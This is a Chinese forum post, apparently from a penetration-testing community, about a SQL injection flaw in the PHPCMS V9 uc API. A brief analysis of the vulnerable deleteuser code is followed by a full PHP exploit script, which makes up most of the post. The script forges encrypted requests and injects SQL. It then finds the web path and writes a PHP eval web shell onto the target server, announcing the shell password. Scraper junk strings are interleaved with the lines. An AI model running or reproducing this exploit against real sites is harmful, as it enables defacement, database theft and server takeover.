中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
3 v! D9 _5 Y7 _/ ^0 }! |/ R& g v
+ ]( t: b+ q2 R- S ?8 a; g
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
2 _5 C. [. g2 h7 ~ A; i
1 }) u4 b; c# G' a% _/ d
漏洞分析:
2 N7 @+ q: _4 e* d
1.未启用ucenter服务的情况下uc_key为空
# V5 ?! i' h- }/ j6 Q/ J0 b% ^
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
9 p2 E, E" ?0 E1 `
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
( r: K/ T7 u5 W/ I! D5 _( B
public function deleteuser($get,$post) {
# }7 m ]( z1 {5 M; x
pc_base::load_app_func('global', 'admin');
, D! b/ D+ b- ~* O3 m1 [) R
pc_base::load_app_class('messagequeue', 'admin' , 0);
+ B1 T) b/ @: X1 l) E6 m+ g: B- Z
$ids = new_stripslashes($get['ids']);
) ~/ N$ Y, `* z, F
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
) B: I: A* ^7 I4 P7 e* ^
SQL语句为
6 a7 l5 I, M7 R" M
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
) A9 C; R( l6 P V" c- w& B
4 d8 I. N; B* W0 X% j
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
- C/ f; [0 o K. V# S% Z# }
<?php
; q/ ?& k- p( h2 L/ r8 ~( i
print_r('
7 S4 c2 S: [& G- `0 C& z. E3 n$ a% L8 n
---------------------------------------------------------------------------
! H/ ]$ E. P( ]* k: l. W
PHPcms (v9 or Old Version) uc api sql injection 0day
( K7 ?4 l! r$ }( h& X3 }
by rayh4c#80sec.com
2 F7 }# Y# x& ~; x3 R& o4 ?! V {
---------------------------------------------------------------------------
+ J" l3 ?4 M0 x: ?
');
! M* ^- `3 S: w" y9 ~
5 U2 x9 B2 R. t( U* ^' n! @
if ($argc<3) {
" t' O; [3 G! L# ~3 ^) j% B+ \
print_r('
) w* \6 r+ I( Z4 b G
---------------------------------------------------------------------------
- d6 S( P0 K Z8 P) ]7 f% ^- }3 J
Usage: php '.$argv[0].' host path OPTIONS
O7 u% F, f9 c
host: target server (ip/hostname)
- P/ h& @8 E4 D G1 P
path: path to phpcms
0 l s& H9 J$ e, I, m4 T
Options:
P ^: {. h$ X7 n. M9 v
-p[port]: specify a port other than 80
: ~0 y+ q* P+ S4 I5 e
-P[ip:port]: specify a proxy
1 I p2 \- T$ }: b0 n& q' N
Example:
$ I4 a# i3 c4 f8 @1 `
php '.$argv[0].' localhost /
\& N$ Z( d3 s
php '.$argv[0].' localhost /phpcms/ -p81
. _, \! A. Y1 J* j
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
: x* ^% H7 \$ |8 O7 g) B; h8 j) p8 G
---------------------------------------------------------------------------
' _, Y3 m! W) {# Y: K
');
* ]; d. v1 E/ U* g
die;
+ k$ M& n @( S0 `7 V5 e( j
}
- V) D6 [5 ]& \$ P% C
6 w* _& I2 T/ _& J2 `& \# \
error_reporting(7);
: c. T. N$ P( Z3 J; ]8 w
ini_set("max_execution_time",0);
* f. k1 t$ F8 l' o
ini_set("default_socket_timeout",5);
z( v5 V8 l; V r4 ^
( P8 R1 n5 W! h) U
function quick_dump($string)
0 i4 u- X; E* ~$ W
{
2 l5 i( E$ o5 X! _" q# R& u! o4 j
$result='';$exa='';$cont=0;
8 `3 l5 H" Q j$ P% V6 T
for ($i=0; $i<=strlen($string)-1; $i++)
" w; Y+ ^% W: [$ y
{
. n' e5 f" D& q* g
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
# }! d; W2 j7 `; V! y1 x
{$result.=" .";}
3 W0 I5 Y5 x$ `; h. m, G
else
[& \8 }6 b0 D; p
{$result.=" ".$string[$i];}
8 O4 L! W1 @, q2 {0 y& O ^
if (strlen(dechex(ord($string[$i])))==2)
4 Z3 D2 A( R- z5 A6 D
{$exa.=" ".dechex(ord($string[$i]));}
. v4 w1 Y6 y4 ~' w2 C
else
* ?5 a) a- ]0 b. i" A% ^' L
{$exa.=" 0".dechex(ord($string[$i]));}
2 n: j2 J7 i9 t0 x6 \
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
$ G6 z9 ]5 a8 ~4 q" @% W
}
5 K; |( X* i* e1 J
return $exa."\r\n".$result;
! ?* F7 H2 w8 k0 j- L3 j
}
/ {2 f( }9 P, {! ^* P) [+ S& \
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
{+ F/ M+ e& N* f0 d
/ R* J. {( j5 b+ _1 @, O+ R( S
function send($packet)
' a" A* \; b: z" A3 U3 U
{
4 ]! S' x, X0 U% g6 X
global $proxy, $host, $port, $html, $proxy_regex;
" N% K8 ?+ D% l2 O) ~( m
if ($proxy=='') {
" Q' ~! {& V; e. @' f1 C
$ock=fsockopen(gethostbyname($host),$port);
& ?! m1 m }% _2 n5 \. |$ J5 `
if (!$ock) {
0 y4 z" H4 w+ ?8 p6 F/ |1 V+ v
echo 'No response from '.$host.':'.$port; die;
, q8 u+ J1 d3 n. p/ @; w
}
8 N1 S2 j/ Q* t; s% h
}
5 d/ _+ f0 `; ?; d( ?
else {
: J! D+ s* S( L) p, x/ W P+ P& R6 G
$c = preg_match($proxy_regex,$proxy);
2 ]6 L& n& L! M d8 N: n4 T& F! R
if (!$c) {
7 E4 V" c5 i2 j! N/ e% G# {) d3 {
echo 'Not a valid proxy...';die;
. y/ o3 h8 b0 ?' G7 U; X% A* f( K
}
- y9 O! k+ @- u: I" u) h
$parts=explode(':',$proxy);
9 _. I$ k5 L9 T4 L! g
$parts[1]=(int)$parts[1];
6 ?) _! N& \/ g6 S
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
9 _" x- ~0 `! A2 t" Q
$ock=fsockopen($parts[0],$parts[1]);
1 z7 E/ J o9 \5 S/ Z! g" p7 C
if (!$ock) {
; i d) a! F5 r& U7 E
echo 'No response from proxy...';die;
5 N5 W- }$ R6 }' |7 Q- u. K
}
- v1 s+ Q9 N B9 ^% V) n2 m
}
7 n& _* `9 d; v) G% A' b
fputs($ock,$packet);
' }0 k" H* {( B! b7 D
if ($proxy=='') {
& o; q, s( a/ V9 f! N, |
$html='';
1 \5 Q% k, G! x) _- [
while (!feof($ock)) {
4 y5 p& [8 _. T
$html.=fgets($ock);
% r7 Q6 X5 ~/ e% }, W
}
% E6 V; j9 g* j* b+ f5 B
}
- ]" y1 J# s" H# T$ Q
else {
! C/ |: \/ }/ J
$html='';
) E, R' X. P- q7 j7 ]3 J# ]! S
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
M. Q: u1 T; I2 k( V
$html.=fread($ock,1);
7 l$ O3 h9 L& z6 G) T
}
7 A2 J. o2 x7 p, \1 a9 p; W! R/ q( J9 T
}
9 `, R- v1 q2 W8 Y" f
fclose($ock);
7 h7 j8 p$ l3 z/ }- E* w4 c
}
- x$ K# E2 r) f
' `8 G, P5 w2 |/ Q7 L, d
$host=$argv[1];
$ ^5 w+ V$ ~8 U$ I! r
$path=$argv[2];
. t ^3 H2 v: e; |9 E$ r. o
$port=80;
) q' p7 ~. y$ l5 T0 W# ?
$proxy="";
# W4 w4 x7 l. P) i6 s! V
for ($i=3; $i<$argc; $i++){
8 ?- K+ Q; D& y! [+ ~: ?# Q
$temp=$argv[$i][0].$argv[$i][1];
/ [ r8 \5 B0 k$ j0 s
if ($temp=="-p")
4 a9 Y* Y7 b" m. [9 Y- \3 ?
{
U9 j- V' R! {/ e8 k1 E: v' |* F/ i
$port=(int)str_replace("-p","",$argv[$i]);
- w/ v) Q( \8 B# X. P
}
* P; x4 P' a2 k2 t7 H
if ($temp=="-P")
" A& F! a/ t+ v4 v9 @
{
$ n" q8 S& U5 s* y7 ?! ~ y( i3 m
$proxy=str_replace("-P","",$argv[$i]);
3 I6 [% t9 h- k
}
" D1 c. N- o7 ~
}
. j4 u+ D9 P7 f- a1 Z
; i) r; E) U$ [) Y. }1 O l
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
1 W' S+ A2 |6 c& B. x( J0 \
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 c" x& l$ G+ h- b8 S3 j5 Z" O
) v5 C f# V( c8 S, N9 q% V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
D. j9 f/ f! ^+ ~8 }0 V( f
: a/ V+ e% @% j
$ckey_length = 4;
& K" n/ k8 y! M/ D6 T' q8 g
- G9 j; M2 M4 m" z$ \. Y
$key = md5($key ? $key : '');
) X5 U l1 w2 i
$keya = md5(substr($key, 0, 16));
4 o4 ]* ]3 n0 r, i! w9 g
$keyb = md5(substr($key, 16, 16));
! G7 A* q* M% U
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
% [; h$ s5 w. R# X7 c0 t
) r1 [2 z! F3 z) X6 \9 H0 i
$cryptkey = $keya.md5($keya.$keyc);
2 l1 r3 i, j! v* q' Y G
$key_length = strlen($cryptkey);
, `2 _! X* M0 ? M
4 d# k, `3 s; y2 E5 m) C4 m
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
% O3 B+ {+ \1 n1 Z/ N
$string_length = strlen($string);
9 ]# U; g3 @ r
& T' y4 d: V4 g( c" J* n
$result = '';
8 M, K* A, |. G* V' W
$box = range(0, 255);
6 r+ H& L K4 Y- y" q% M; I
8 J) d. J5 p2 n4 x7 t0 r
$rndkey = array();
# \3 k E3 ]% R6 S1 c
for($i = 0; $i <= 255; $i++) {
) Z$ @3 t, \' h& g! n; X
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
+ D/ b, x) }8 M2 H& f& o
}
# H8 F! v2 R; s& v
! V' | t a# ^! ]* I- U
for($j = $i = 0; $i < 256; $i++) {
0 ]. G4 W$ t) c# y
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
6 n! j9 @4 x0 j4 u* _
$tmp = $box[$i];
$ m- _1 Q3 d, f) \' F3 x
$box[$i] = $box[$j];
7 E9 S; f3 W2 [3 {- }
$box[$j] = $tmp;
: C% Z% j- E5 `, K
}
$ H4 _. D: q" |0 `
7 ~; e+ J8 _1 h7 K0 l! @' p
for($a = $j = $i = 0; $i < $string_length; $i++) {
" S: P2 |1 s- M* f8 N$ |
$a = ($a + 1) % 256;
B; Y1 k1 ^1 G; o5 R' O# O
$j = ($j + $box[$a]) % 256;
/ w. K: t u% ~ b- V
$tmp = $box[$a];
0 l8 N" r( Q3 O/ }0 k) m' s! z
$box[$a] = $box[$j];
& X' e' [+ V" s
$box[$j] = $tmp;
) W# n! ?) C- G- R9 L' i' ~) F
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
" t0 U' h# v0 o9 w9 w1 k; {& l
}
5 z x4 n" D+ }% A. l# o5 |
' G" X7 p1 ?% w: c3 Y% ~+ j) X
if($operation == 'DECODE') {
& r6 u" y) y7 z0 D& S6 L
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
, n( G- H- U$ n! w
return substr($result, 26);
' j4 }9 { d* |. P' i
} else {
8 S& J, b5 ?2 K# W; `' s) r& D1 e) C
return '';
4 r1 F2 w7 H$ a2 h; i
}
( z) c9 Z" o0 M! H5 q
} else {
8 ]. F9 c/ @; R% {( O2 t2 v5 h% H
return $keyc.str_replace('=', '', base64_encode($result));
( ^: c4 w( o K( N& M( F
}
. q" A) a/ S9 W, g
0 U* ]# {) H9 h4 w# h7 Q X* V
}
7 Z7 \" _" ]# z
1 u8 Z" e0 P" a% h) g8 J: c7 e
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
9 O* o3 F8 o2 D* v
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
1 Z9 F2 ^& p. h% N8 L
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) J$ {2 i8 X, E" }8 }$ O; G
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 Z% a8 _) [1 W9 L# I
$packet.="User-Agent: Mozilla/5.0\r\n";
; e2 w2 X6 ~9 n6 N
$packet.="Host: ".$host."\r\n";
3 P- u' H9 R6 `( z1 b$ B: K
$packet.="Connection: Close\r\n\r\n";
1 J. R' m8 n2 `- o8 G& E
send($packet);
9 Z' B# j" |8 ]# c
if(strpos($html,"MySQL Errno") > 0){
! j1 e# J- v {* M( J2 }( s( w. N+ }
echo "[2] 发现存在SQL注入漏洞"."\n";
2 T* s3 h6 f$ h+ Y
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
% O/ }# P; t. h0 K6 P; a& ~
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
! ^ W& W1 o3 B
$packet.="User-Agent: Mozilla/5.0\r\n";
" Z# V$ z2 l& K6 g5 e
$packet.="Host: ".$host."\r\n";
3 R1 [5 D' |' k; M5 _# T
$packet.="Connection: Close\r\n\r\n";
4 G9 D1 q) L" @+ I/ j
send($packet);
. `/ K5 |# o! ] J0 ]4 H
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
! ^& w1 S* q' @4 l% Z+ |- M, @
//print_r($matches);
0 \0 K( T9 h4 G- }. k* }
if(!empty($matches)){
- r% ~8 W. ~: g" i' b" F
echo "[4] 得到web路径 " . $matches[0]."\n";
6 f0 D' j) v/ ]. P
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
2 {5 c: T9 ?6 @# |8 ~' H
$SQL = "time=999999999999999999999999&ids=1)";
, w- E' N6 G. u7 f( }
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
: l" s. C! u" T
$SQL.="&action=deleteuser";
& B' j r$ n& y1 Y
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
# V; J& g1 W) n3 e& r3 ^" x0 H
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
( W0 w8 h" {5 M( c6 W3 ~8 U, T8 a* u
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
1 o- T5 M+ {, b6 Y
$packet.="User-Agent: Mozilla/5.0\r\n";
% j M* C8 A* Y; I. S
$packet.="Host: ".$host."\r\n";
0 Z9 T5 t7 L; Z
$packet.="Connection: Close\r\n\r\n";
( C0 ?) s D. ]' n. g# g/ k4 `8 [
send($packet);
2 E6 ~9 x- i' }( `& U
if(strpos($html,"Access denied") > 0){
/ M: K) T6 i- f/ z
echo "[-] MYSQL权限过低 禁止写入文件
";
( W/ y6 |4 R: m* {+ e a" K
die;
1 g$ q; e4 O+ K% }- E9 a: b
}
# h; \: O9 z' v1 a6 u
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
5 j% v" c0 O8 M( t" K
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
' D# L* Y2 [. _6 v; ~
$packet.="User-Agent: Mozilla/5.0\r\n";
% [) J2 I) Z% |; ], \) e
$packet.="Host: ".$host."\r\n";
! p6 j" i- F9 C+ K
$packet.="Connection: Close\r\n\r\n";
9 N( x% g* _. s3 _& K
send($packet);
: O$ C: @, @8 o* u" z: x0 }
if(strpos($html,"<title>phpinfo()</title>") > 0){
+ a* @0 ?/ _$ n& E, c3 T
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
+ g4 g# H% u8 _* `- B8 `
}
' S/ C" c& m1 ]/ _: n* C
}else{
7 K9 p0 ^; h3 ^. D
echo "[-]未取到web路径
";
( q4 `1 T- l: o r4 c
}
1 j7 Y+ k d- P P! b
}else{
) G" m+ q6 N' f1 H
echo "[*]不存在SQL注入漏洞"."\n";
' E% V8 W$ y* k5 S, u# v" x
}
# u5 t4 k, `: i9 ~0 X4 V! ~
! Q- b+ C7 [0 M0 H+ l( ~/ v
?>
; W) U* |8 j: H: B# V- _) C8 M
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2